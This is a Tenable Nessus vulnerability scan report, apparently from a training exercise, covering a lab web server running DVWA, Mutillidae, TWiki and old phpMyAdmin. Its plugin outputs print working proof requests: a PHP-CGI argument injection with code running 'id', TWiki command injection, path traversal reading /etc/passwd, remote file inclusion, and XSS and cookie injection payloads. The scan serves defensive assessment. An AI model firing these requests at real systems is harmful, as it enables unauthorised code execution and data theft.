

# Web Application Scan Task 3

Report generated by Tenable Nessus  $^{\mathrm{TM}}$ 

Thu, 29 May 2025 09:48:20 EDT

TABLE OF CONTENTS	
Vulnerabilities by Host	
• 192.168.13.5	4



## 192.168.13.5



#### Scan Information

Start time: Thu May 29 09:48:19 2025

#### Host Information

IP: 192.168.13.5

OS: Linux Kernel 2.6 on Ubuntu 8.04 (gutsy)

## **Vulnerabilities**

## 70728 - Apache PHP-CGI Remote Code Execution

## Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

## Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

#### Solution

Upgrade to PHP 5.3.13 / 5.4.3 or later.

#### Risk Factor

High

## CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

#### CVSS v3.0 Temporal Score

9.4 (CVSS:3.0/E:H/RL:O/RC:C)

#### **VPR** Score

9.0

#### **EPSS Score**

0.9569

#### CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

## CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

#### References

53388
CVE-2012-1823
CVE-2012-2311
CVE-2012-2335
CVE-2012-2336
CERT:520827
EDB-ID:29290
EDB-ID:29316

XREF CISA-KNOWN-EXPLOITED:2022/04/15

#### **Exploitable With**

CANVAS (true) Core Impact (true) Metasploit (true)

## Plugin Information

Published: 2013/11/01, Modified: 2023/04/25

#### Plugin Output

#### tcp/80/www

Nessus was able to verify the issue exists using the following request :

snip

POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%F%70%65%6E%5F%662%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%65%65%5F%70%72%65%64%69%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1

## 125855 - phpMyAdmin prior to 4.8.6 SQLi vulnerablity (PMASA-2019-3)

Synopsis

The remote web server hosts a PHP application that is affected by SQLi vulnerability.
Description
According to its self-reported version number, the phpMyAdmin application hosted on the remote web server is prior to 4.8.6. It is, therefore, affected by a SQL injection (SQLi) vulnerability that exists in designer feature of phpMyAdmin. An unauthenticated, remote attacker can exploit this to inject or manipulate SQL queries in the back-end database, resulting in the disclosure or manipulation of arbitrary data.
Note that Nessus has not attempted to exploit these issues but has instead relied only on the application's self-reported version number.
See Also
http://www.nessus.org/u?c9d7fc8c
Solution
Upgrade to phpMyAdmin version 4.8.6 or later. Alternatively, apply the patches referenced in the vendor advisories.
Risk Factor
High
CVSS v3.0 Base Score
9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVSS v3.0 Temporal Score
8.5 (CVSS:3.0/E:U/RL:O/RC:C)
VPR Score
5.9
EPSS Score
0.0081
CVSS v2.0 Base Score
7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

## CVSS v2.0 Temporal Score

## 5.5 (CVSS2#E:U/RL:OF/RC:C)

## References

BID 108617

CVE CVE-2019-11768

## Plugin Information

Published: 2019/06/13, Modified: 2024/11/22

## Plugin Output

## tcp/80/www

URL : http://192.168.13.5/phpMyAdmin
Installed version : 3.1.1
Fixed version : 4.8.6

## 39469 - CGI Generic Remote File Inclusion

## Synopsis

Arbitrary code may be run on the remote server.

## Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a remote file from a remote server and execute arbitrary commands on the target host.

#### See Also

https://en.wikipedia.org/wiki/Remote\_File\_Inclusion

http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion

#### Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

## Risk Factor

High

## CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

#### References

XREF	CWE:73
XREF	CWE:78
XREF	CWE:98
XREF	CWE:434
XREF	CWE:473
XREF	CWE:632
XREF	CWE:714
XREF	CWE:727
XREF	CWE:801
XREF	CWE:928
XREF	CWE:929

## Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

#### tcp/80/www

```
Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to web code injection :
+ The 'page' parameter of the /mutillidae/ CGI :
/mutillidae/?page=http://dJ6JyXPk.example.com/
----- output -----
<b>Warning</b>: include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>: include(http://dJ6JyXPk.example.com/) [<a href='functio
n.include'>function.include</a>]: failed to open stream: no suitable wra
pper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>4
69</b><br />
<br/><b>Warning</b>: include() [<a href='function.include'>function.in [...]
+ The 'page' parameter of the /mutillidae/index.php CGI :
/mutillidae/index.php?page=http://dJ6JyXPk.example.com/
----- output -----
<br/><b>Warning</b>: include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>: include(http://dJ6JyXPk.example.com/) [<a href='functio
n.include'>function.include</a>]: failed to open stream: no suitable wra
pper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>4
69</b><br />
<br />
<b>Warning</b>: include() [<a href='function.include'>function.in [...]
Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)
http://192.168.13.5/mutillidae/?page=http://dJ6JyXPk.example.com/
http://192.168.13.5/mutillidae/index.php?page=http://dJ6JyXPk.example.com/
```

## 59088 - PHP PHP-CGI Query String Parameter Injection Arbitrary Code Execution

## Synopsis The remote web server contains a version of PHP that allows arbitrary code execution. Description The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc. See Also http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ http://www.php.net/archive/2012.php#id2012-05-08-1 http://www.php.net/ChangeLog-5.php#5.3.13 http://www.php.net/ChangeLog-5.php#5.4.3 http://www.nessus.org/u?80589ce8 https://www-304.ibm.com/support/docview.wss?uid=swg21620314 Solution If using Lotus Foundations, upgrade the Lotus Foundations operating system to version 1.2.2b or later. Otherwise, upgrade to PHP 5.3.13 / 5.4.3 or later. Risk Factor High **VPR Score** 9.0 **EPSS Score** 0.9569 CVSS v2.0 Base Score 7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P) CVSS v2.0 Temporal Score

192.168.13.5

6.5 (CVSS2#E:H/RL:OF/RC:C)

#### References

BID	53388
-----	-------

CVE CVE-2012-1823
CVE CVE-2012-2311
XREF CERT:520827
XREF EDB-ID:18834

XREF CISA-KNOWN-EXPLOITED:2022/04/15

#### **Exploitable With**

CANVAS (true) Core Impact (true) Metasploit (true)

#### Plugin Information

Published: 2012/05/14, Modified: 2022/03/28

#### Plugin Output

#### tcp/80/www

```
Nessus was able to verify the issue exists using the following request:

Snip

POST /dvwa/dvwa/includes/DBMS/DBMS.php?-d+allow_url_include%3don+-d+safe_mode%3doff+-d
+suhosin.simulation%3don+-d+open_basedir%3doff+-d+auto_prepend_file%3dphp%3a//input+-n HTTP/1.1
Host: 192.168.13.5
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Length: 82
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
<?php echo 'php_cgi_query_string_code_execution-1748527682'; system('id'); die; ?>

Snip
```

## 19704 - TWiki 'rev' Parameter Arbitrary Command Execution

Synopsis
The remote web server hosts a CGI application that is affected by an arbitrary command execution vulnerability.
Description
The version of TWiki running on the remote host allows an attacker to manipulate input to the 'rev' parameter in order to execute arbitrary shell commands on the remote host subject to the privileges of the web server user id.
See Also
http://www.nessus.org/u?c70904f3
Solution
Apply the appropriate hotfix referenced in the vendor advisory.
Risk Factor
High
CVSS v3.0 Base Score
8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
CVSS v3.0 Temporal Score
8.2 (CVSS:3.0/E:F/RL:O/RC:C)
VPR Score
7.4
EPSS Score
0.9517
CVSS v2.0 Base Score
7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)
CVSS v2.0 Temporal Score
6.2 (CVSS2#E:F/RL:OF/RC:C)

#### References

BID 14834

CVE CVE-2005-2877

Exploitable With

Metasploit (true)

Plugin Information

Published: 2005/09/15, Modified: 2024/06/05

Plugin Output

tcp/80/www

```
Nessus was able to execute the command "id" using the following request:

http://192.168.13.5/twiki/bin/view/Main/TWikiUsers?rev=2%20%7cid%7c%7cecho%20

This produced the following truncated output (limited to 2 lines):

uid=33(www-data) gid=33(www-data) groups=33(www-data)

snip
```

# 36171 - phpMyAdmin Setup Script Configuration Parameters Arbitrary PHP Code Injection (PMASA-2009-4)

Synopsis
The remote web server contains a PHP application that is affected by a code execution vulnerability.
Description
The setup script included with the version of phpMyAdmin installed on the remote host does not properly sanitize user-supplied input before using it to generate a config file for the application. This version is affected by the following vulnerabilities:
- The setup script inserts the unsanitized verbose server name into a C-style comment during config file generation.
- An attacker can save arbitrary data to the generated config file by altering the value of the 'textconfig' parameter during a POST request to config.php.
An unauthenticated, remote attacker can exploit these issues to execute arbitrary PHP code.
See Also
https://www.tenable.com/security/research/tra-2009-02
http://www.phpmyadmin.net/home_page/security/PMASA-2009-4.php
Solution
Upgrade to phpMyAdmin 3.1.3.2. Alternatively, apply the patches referenced in the project's advisory.
Risk Factor
High
VPR Score
6.7
EPSS Score
0.0294
CVSS v2.0 Base Score
7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)
CVSS v2.0 Temporal Score
5.5 (CVSS2#E:U/RL:OF/RC:C)

## References

BID 34526

 CVE
 CVE-2009-1285

 XREF
 TRA:TRA-2009-02

 XREF
 SECUNIA:34727

XREF CWE:94

## Plugin Information

Published: 2009/04/16, Modified: 2022/04/11

## Plugin Output

tcp/80/www

## 11411 - Backup Files Disclosure

## Synopsis

It is possible to retrieve file backups from the remote web server.

## Description

By appending various suffixes (ie: .old, .bak,  $\sim$ , etc...) to the names of various files on the remote host, it seems possible to retrieve their contents, which may result in disclosure of sensitive information.

#### See Also

http://www.nessus.org/u?8f3302c6

#### Solution

Ensure the files do not contain any sensitive information, such as credentials to connect to a database, and delete or protect those files that should not be accessible.

#### Risk Factor

Medium

#### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

#### Plugin Information

Published: 2003/03/17, Modified: 2023/07/10

## Plugin Output

## tcp/80/www

```
It is possible to read the following backup files :
    File : /twiki/bin/view/Main/WebHome~
        URL : http://192.168.13.5/twiki/bin/view/Main/WebHome~
        File : /twiki/bin/search/Main/SearchResult~
        URL : http://192.168.13.5/twiki/bin/search/Main/SearchResult~
```

#### 40984 - Browsable Web Directories

#### **Synopsis**

Some directories on the remote web server are browsable.

## Description

Multiple Nessus plugins identified directories on the web server that are browsable.

#### See Also

http://www.nessus.org/u?0a35179e

#### Solution

Make sure that browsable directories do not leak confidential information or give access to sensitive resources. Additionally, use access restrictions or disable directory indexing for any that do.

#### Risk Factor

Medium

## CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

#### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

#### Plugin Information

Published: 2009/09/15, Modified: 2021/01/19

#### Plugin Output

#### tcp/80/www

```
The following directories are browsable:

http://192.168.13.5/dav/
http://192.168.13.5/dav/kb_gDCR5.htm/
http://192.168.13.5/dvwa/dvwa/
http://192.168.13.5/dvwa/dvwa/css/
http://192.168.13.5/dvwa/dvwa/images/
http://192.168.13.5/dvwa/dvwa/includes/
http://192.168.13.5/dvwa/dvwa/includes/
http://192.168.13.5/dvwa/dvwa/includes/DBMS/
http://192.168.13.5/dvwa/dvwa/js/
http://192.168.13.5/mutillidae/documentation/
http://192.168.13.5/mutillidae/styles/
```

http://192.168.13.5/mutillidae/styles/ddsmoothmenu/http://192.168.13.5/test/http://192.168.13.5/test/testoutput/

## 44136 - CGI Generic Cookie Injection Scripting

## Synopsis

The remote web server is prone to cookie injection attacks.

## Description

The remote web server hosts at least one CGI script that fails to adequately sanitize request strings with malicious JavaScript.

By leveraging this issue, an attacker may be able to inject arbitrary cookies. Depending on the structure of the web application, it may be possible to launch a 'session fixation' attack using this mechanism.

#### Please note that:

- Nessus did not check if the session fixation attack is feasible.
- This is not the only vector of session fixation.

#### See Also

https://en.wikipedia.org/wiki/Session fixation

https://www.owasp.org/index.php/Session\_Fixation

http://www.acros.si/papers/session\_fixation.pdf

http://projects.webappsec.org/w/page/13246960/Session%20Fixation

#### Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

#### Risk Factor

#### Medium

#### CVSS v2.0 Base Score

#### 4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

#### References

XREF	CWE:472
XREF	CWE:642
XREF	CWE:715
XREF	CWE:722

#### Plugin Information

Published: 2010/01/25, Modified: 2022/04/11

#### tcp/80/www

```
Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to cookie manipulation :
+ The 'page' parameter of the /mutillidae/ CGI :
/mutillidae/?page=<script>document.cookie="testeias=4712;"</script>
----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
<a href="./index.php?do=toggle-hints&page=<script>document.cookie="t
esteias=4712;"</script>">Toggle Hints</a><a href="./index.
php?do=toggle-security&page=<script>document.cookie="testeias=4712;"</sc</pre>
ript>">Toggle Security</a>
<a href="set-up-database.php">Reset DB</a>
<a href="./index.php?page=show-log.php">View Log</a>
+ The 'page' parameter of the /mutillidae/index.php CGI :
/mutillidae/index.php?page=<script>document.cookie="testeias=4712;"</scr
ipt>
----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
<a href="./index.php?do=toggle-hints&page=<script>document.cookie="t
esteias=4712;"</script>">Toggle Hints</a><a href="./index.
php?do=toggle-security&page=<script>document.cookie="testeias=4712;"</sc
ript>">Toggle Security</a>
<a href="set-up-database.php">Reset DB</a>
<a href="./index.php?page=show-log.php">View Log</a>
```

## 49067 - CGI Generic HTML Injections (quick test)

#### **Synopsis**

The remote web server may be prone to HTML injections.

## Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML to be executed in a user's browser within the security context of the affected site.

The remote web server may be vulnerable to IFRAME injections or cross-site scripting attacks:

- IFRAME injections allow 'virtual defacement' that might scare or anger gullible users. Such injections are sometimes implemented for 'phishing' attacks.
- XSS are extensively tested by four other scripts.
- Some applications (e.g. web forums) authorize a subset of HTML without any ill effect. In this case, ignore this warning.

#### See Also

http://www.nessus.org/u?602759bc

#### Solution

Either restrict access to the vulnerable application or contact the vendor for an update.

### Risk Factor

Medium

#### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

#### References

XREF CWE:80 XRFF CWF:86

#### Plugin Information

Published: 2010/09/01, Modified: 2021/01/19

## Plugin Output

#### tcp/80/www

```
Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to HTML injection :
+ The 'page' parameter of the /mutillidae/index.php CGI:
/mutillidae/index.php?page=<"vlzleg%20>
----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
<a href="./index.php?do=toggle-hints&page=<"vlzleg >">Toggle Hints</
a><a href="./index.php?do=toggle-security&page=<"vlzleg >"
>Toggle Security</a>
<a href="set-up-database.php">Reset DB</a>
<a href="./index.php?page=show-log.php">View Log</a>
+ The 'page' parameter of the /mutillidae/ CGI :
/mutillidae/?page=<"vlzleg%20>
----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
<a href="./index.php?do=toggle-hints&page=<"vlzleg >">Toggle Hints</
a><a href="./index.php?do=toggle-security&page=<"vlzleg >"
>Toggle Security</a>
<a href="set-up-database.php">Reset DB</a>
<a href="./index.php?page=show-log.php">View Log</a>
+ The 'template' parameter of the /twiki/bin/oops/Main/WebHomemailto:webmasteryour/company CGI:
/twiki/bin/oops/Main/WebHomemailto:webmasteryour/company?template=<"vlz1
eg%20>
----- output -----
<html><body>
<h1>TWiki Installation Error</h1>
Template file <"vlzleg >.tmpl not found or template directory
/var/www/twiki/templates not found.
Check the $templateDir variable in TWiki.cfg.
Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)
http://192.168.13.5/mutillidae/index.php?page=<"vlzleg%20>
http://192.168.13.5/mutillidae/?page=<"vlzleg%20>
```

## 39467 - CGI Generic Path Traversal

## Synopsis

Arbitrary files may be accessed or executed on the remote host.

## Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings and are affected by directory traversal or local files inclusion vulnerabilities.

By leveraging this issue, an attacker may be able to read arbitrary files on the web server or execute commands.

#### See Also

https://en.wikipedia.org/wiki/Directory\_traversal

http://cwe.mitre.org/data/definitions/22.html

http://projects.webappsec.org/w/page/13246952/Path%20Traversal

http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection

http://www.nessus.org/u?4de3840d

#### Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade to address path traversal flaws.

#### Risk Factor

#### Medium

#### CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

#### References

XREF	OWASP:OWASP-AZ-001
XREF	CWE:21
XREF	CWE:22
XREF	CWE:632
XREF	CWE:715
XREF	CWE:723

XREF CWE:813
XREF CWE:928
XREF CWE:932

## Plugin Information

Published: 2009/06/19, Modified: 2022/04/07

## Plugin Output

### tcp/80/www

```
Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to directory traversal :
+ The 'page' parameter of the /mutillidae/ CGI :
/mutillidae/?page=../../../../etc/passwd%00index.html
----- output -----
<blookquote>
<!-- Begin Content -->
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
+ The 'page' parameter of the /mutillidae/index.php CGI :
/mutillidae/index.php?page=../../../../etc/passwd%00index.ht
----- output -----
<blookquote>
<!-- Begin Content -->
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
```

## 39466 - CGI Generic XSS (quick test)

## Synopsis

The remote web server is prone to cross-site scripting attacks.

## Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML and script code to be executed in a user's browser within the security context of the affected site.

These XSS are likely to be 'non persistent' or 'reflected'.

#### See Also

https://en.wikipedia.org/wiki/Cross\_site\_scripting#Non-persistent

http://www.nessus.org/u?ea9a0369

http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting

#### Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade to address any cross-site scripting vulnerabilities.

#### Risk Factor

Medium

#### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

#### References

XREF	CWE:20		
XREF	CWE:74		
XREF	CWE:79		
XREF	CWE:80		
XREF	CWE:81		
XREF	CWE:83		
XREF	CWE:86		
XREF	CWE:116		
XREF	CWE:442		
XREF	CWE:692		
XREF	CWE:712		
XREF	CWE:722		

XREF	CWE:725
XREF	CWE:751
XREF	CWE:801
XREF	CWE:811
XREF	CWE:928
XREF	CWE:931

#### Plugin Information

Published: 2009/06/19, Modified: 2022/04/11

## Plugin Output

#### tcp/80/www

```
Using the GET HTTP method, Nessus found that :
+ The following resources may be vulnerable to cross-site scripting (quick test) :
+ The 'page' parameter of the /mutillidae/ CGI :
/mutillidae/?page=<IMG%20SRC="javascript:alert(104);">
----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
<a href="./index.php?do=toggle-hints&page=<IMG SRC="javascript:alert
(104);">">Toggle Hints</a><a href="./index.php?do=toggle-s
ecurity&page=<IMG SRC="javascript:alert(104);">">Toggle Security</a></td
<a href="set-up-database.php">Reset DB</a>
<a href="./index.php?page=show-log.php">View Log</a>
+ The 'template' parameter of the /twiki/bin/oops/Main/WebHomemailto:webmasteryour/company CGI:
/twiki/bin/oops/Main/WebHomemailto:webmasteryour/company?template="><obj
ect%20type="text/html"%20data="http://www.example.com/include.html"></ob
ject>
----- output -----
<html><bodv>
<h1>TWiki Installation Error</h1>
Template file "><object type="text/html" data="http://www.example.com/in
clude.html"></object>.tmpl not found or template directory
/var/www/twiki/templates not found.
Check the $templateDir variable in TWiki.cfg.
+ The 'page' parameter of the /mutillidae/index.php CGI:
/mutillidae/index.php?page=<IMG%20SRC="javascript:alert(104);">
----- output -----
<a href="./index.php?page=login.php">Login/Register</a>
<a href="./index.php?do=toggle-hints&page=<IMG SRC="javascript:alert
(104);">">Toggle Hints</a><a href="./index.php?do=toggle-s
ecurity&page=<IMG SRC="javascript:alert(104);">">Toggle Security</a></td
<a href="set-up-database.php">Reset DB</a>
```

```
<a href="./index.php?page=show-log.php">View Log</a>

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

http://192.168.13.5/mutillidae/?page=<IMG%20SRC="javascript:alert(104);">
```

## 11213 - HTTP TRACE / TRACK Methods Allowed

Synopsis
Debugging functions are enabled on the remote web server.
Description
The remote web server supports the TRACE and/or TRACK methods. TRACE and TRACK are HTTP methods that are used to debug web server connections.
See Also
http://www.nessus.org/u?e979b5cb
http://www.apacheweek.com/issues/03-01-24
https://download.oracle.com/sunalerts/1000718.1.html
Solution
Disable these HTTP methods. Refer to the plugin output for more information.
Risk Factor
Medium
CVSS v3.0 Base Score
5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CVSS v3.0 Temporal Score
4.6 (CVSS:3.0/E:U/RL:O/RC:C)
VPR Score
4.0
EPSS Score
0.0225
CVSS v2.0 Base Score
5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)
CVSS v2.0 Temporal Score
3.7 (CVSS2#E:U/RL:OF/RC:C)

#### References

BID	9506
BID	9561
BID	11604
BID	33374
BID	37995
CVE	CVE-2003-1567
CVE	CVE-2004-2320
CVE	CVE-2010-0386
XREF	CERT:288308
XREF	CERT:867593
XREF	CWE:16
XREF	CWE:200

#### Plugin Information

Published: 2003/01/23, Modified: 2024/04/09

#### Plugin Output

#### tcp/80/www

```
To disable these methods, add the following lines for each virtual
host in your configuration file :
   RewriteEngine on
   RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
   RewriteRule .* - [F]
Alternatively, note that Apache versions 1.3.34, 2.0.55, and 2.2
support disabling the TRACE method natively via the 'TraceEnable'
directive.
Nessus sent the following TRACE request : \n\n
 Connection: Close
Host: 192.168.13.5
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/ppeg, image/png, */*
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
-----\n\nand received the
following response from the remote server :\n\n----- snip
 -----\nHTTP/1.1 200 OK
Date: Thu, 29 May 2025 13:52:13 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: message/http
TRACE /Nessus2116559788.html HTTP/1.1
Connection: Keep-Alive
```

## 46803 - PHP expose\_php Information Disclosure

## Synopsis

The configuration of PHP on the remote host allows disclosure of sensitive information.

## Description

The PHP install on the remote server is configured in a way that allows disclosure of potentially sensitive information to an attacker through a special URL. Such a URL triggers an Easter egg built into PHP itself.

Other such Easter eggs likely exist, but Nessus has not checked for them.

#### See Also

https://www.0php.com/php\_easter\_egg.php

https://seclists.org/webappsec/2004/q4/324

#### Solution

In the PHP configuration file, php.ini, set the value for 'expose\_php' to 'Off' to disable this behavior. Restart the web server daemon to put this change into effect.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2010/06/03, Modified: 2022/04/11

Plugin Output

tcp/80/www

Nessus was able to verify the issue using the following URL :

http://192.168.13.5/dvwa/dvwa/includes/DBMS/DBMS.php/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

#### 85582 - Web Application Potentially Vulnerable to Clickjacking

#### **Synopsis**

The remote web server may fail to mitigate a class of web application vulnerabilities.

#### Description

The remote web server does not set an X-Frame-Options response header or a Content-Security-Policy 'frame-ancestors' response header in all content responses. This could potentially expose the site to a clickjacking or UI redress attack, in which an attacker can trick a user into clicking an area of the vulnerable page that is different than what the user perceives the page to be. This can result in a user performing fraudulent or malicious transactions.

X-Frame-Options has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors.

Content-Security-Policy (CSP) has been proposed by the W3C Web Application Security Working Group, with increasing support among all major browser vendors, as a way to mitigate clickjacking and other attacks. The 'frame-ancestors' policy directive restricts which sources can embed the protected resource.

Note that while the X-Frame-Options and Content-Security-Policy response headers are not the only mitigations for clickjacking, they are currently the most reliable methods that can be detected through automation. Therefore, this plugin may produce false positives if other mitigation strategies (e.g., frame-busting JavaScript) are deployed or if the page does not perform any security-sensitive transactions.

#### See Also

http://www.nessus.org/u?399b1f56

https://www.owasp.org/index.php/Clickjacking\_Defense\_Cheat\_Sheet

https://en.wikipedia.org/wiki/Clickjacking

#### Solution

Return the X-Frame-Options or Content-Security-Policy (with the 'frame-ancestors' directive) HTTP header with the page's response.

This prevents the page's content from being rendered by another site when using the frame or iframe HTML tags.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF CWE:693

## Plugin Information

Published: 2015/08/22, Modified: 2017/05/16

## Plugin Output

## tcp/80/www

The following pages do not use a clickjacking mitigation response header and contain a clickable event :

- http://192.168.13.5/dvwa/login.php
- http://192.168.13.5/mutillidae/
- http://192.168.13.5/mutillidae/index.php http://192.168.13.5/phpMyAdmin/
- http://192.168.13.5/phpMyAdmin/index.php
- http://192.168.13.5/twiki/bin/search
- http://192.168.13.5/twiki/bin/search/Main
- http://192.168.13.5/twiki/bin/search/Main/SearchResult
- http://192.168.13.5/twiki/bin/view
- http://192.168.13.5/twiki/bin/view/Main
- http://192.168.13.5/twiki/bin/view/Main/WebHome

## 11229 - Web Server info.php / phpinfo.php Detection

#### **Synopsis**

The remote web server contains a PHP script that is prone to an information disclosure attack.

## Description

Many PHP installation tutorials instruct the user to create a PHP file that calls the PHP function 'phpinfo()' for debugging purposes. Various PHP applications may also include such a file. By accessing such a file, a remote attacker can discover a large amount of information about the remote web server, including:

- The username of the user who installed PHP and if they are a SUDO user.
- The IP address of the host.
- The version of the operating system.
- The web server version.
- The root directory of the web server.
- Configuration information about the remote PHP installation.

#### Solution

Remove the affected file(s).

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2003/02/12, Modified: 2024/11/22

Plugin Output

tcp/80/www

Nessus discovered the following URLs that call phpinfo() :

- http://192.168.13.5/phpinfo.php

- http://192.168.13.5/mutillidae/phpinfo.php

# 51425 - phpMyAdmin error.php BBcode Tag XSS (PMASA-2010-9)

# Synopsis The remote web server hosts a PHP script that is prone to a cross- site scripting attack. Description The version of phpMyAdmin fails to validate BBcode tags in user input to the 'error' parameter of the 'error.php' script before using it to generate dynamic HTML. An attacker may be able to leverage this issue to inject arbitrary HTML or script code into a user's browser to be executed within the security context of the affected site. For example, this could be used to cause a page with arbitrary text and a link to an external site to be displayed. See Also https://www.phpmyadmin.net/security/PMASA-2010-9/ Solution Upgrade to phpMyAdmin 3.4.0-beta1 or later. Risk Factor Medium **VPR** Score 3.8 **EPSS Score** 0.2301 CVSS v2.0 Base Score 4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N) CVSS v2.0 Temporal Score 3.7 (CVSS2#E:H/RL:OF/RC:C) References BID 45633 CVF CVE-2010-4480

192.168.13.5

XRFF

EDB-ID:15699

XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801
XREF	CWE:809
XREF	CWE:811
